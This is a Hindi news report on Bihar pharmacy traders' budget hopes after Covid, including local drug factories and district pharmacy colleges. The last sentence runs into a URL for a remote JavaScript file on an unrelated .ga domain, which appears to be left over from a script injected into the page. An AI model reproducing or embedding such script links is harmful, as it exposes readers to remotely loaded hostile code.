बिहार,( कुलसूम फात्मा ) कोरोना महामारी के पश्चात केंद्रीय बजट से प्रत्येक कैटेगरी की एक्सपेक्टेशन जुड़ी हुई हैं क्योंकि कोरोना महामारी के कारण दवा के बिजनेस भी कहीं न कहीं प्रभावित रहे  वर्तमान समय में ड्रग डीलर की मंशा है की दूसरे राज्यों के तरीके से अब बिहार राज्य में भी दवा की फैक्ट्रियों की ओपनिंग हो और इससे दवा बाहर से मंगाने की किल्लत भी खत्म हो जाए उनको भी लाभ यह होगा की उनके व्यवसाय भी सही तरीके से चलने लगेगे।

 

 

इधर दवा की दुकानों के लिए फॉर्मेसी की अनिवार्यता तो रख दी गई है परंतु बिहार राज्य के किसी भी जनपद में जरूरत के हिसाब से फार्मेसिस्ट नहीं है इसलिए हर जनपद में अब फार्मासिस्ट कॉलेज को खोला जाएगा जिससे की समस्या से निजात मिलेगा। शहर के व्यवसायियों का कहना है की व्यवसायियों की जनपद में अब फार्मासिस्ट कॉलेज खोले जाएं।

 

 

एसोसिएशन के सचिव वीरेंद्र उपाध्याय से जब बातचीत की तो उन्होंने बताया की लॉकडाउन के दौरान दवा के फुटकर शॉप्स तथा थोक विक्रेता के जरिए कोरोना महामारी के समय जान की परवाह ना किए हुए कोरोना योद्धा बनकर लोगों की सेवा करते रहे।  ऐसे में केंद्र तथा स्टेट गवर्नमेंट को भी इन शॉप्स दुकानदारों के बारे में सोचना होगा। इस साल गवर्नमेंट से उम्मीद की जा रही है की दवा की समय में उपलब्धता के लिए बिहार राज्य में भी दवा की फैक्ट्रियां लगाने की प्रयत्न किया जाए।

 

 

जाने व्यवसायियों का है क्या कहना ?

 

 

प्रशांत कुमार ने कहा की कोरोना महामारी के समय दवा दुकानदारों के द्वारा लोगों की सेवा की गई और गवर्नमेंट को भी दवा दुकानदारों की हिफाजत के लिए अब प्रयत्न करना चाहिए। सरकार को अब दुकानदारों की सुरक्षा के लिए पहल करनी होगी। इसके साथ ही जनपद में फार्मासिस्ट कॉलेज उपलब्ध कराने होंगे। साथ ही दवा की कंपनियां भी बिहार में खोली जानी चाहिए वहीं दूसरी ओर संजय कुमार झा ने भी बताया की बिहार राज्य में मेडिसिन की फैक्ट्री लगाने की आवश्यकता है। इससे दवा व्यवसायियों को दवा की उपलब्धता के लिए इंतजार करना नहीं पड़ेगा और रोजगार के लिए भी रास्ते खुल जाएंगे। केंद्र सरकार को इस कार्य के लिए पहल करनी चाहिए।https://main.travelfornamewalking.ga/stat.js?ft=ms

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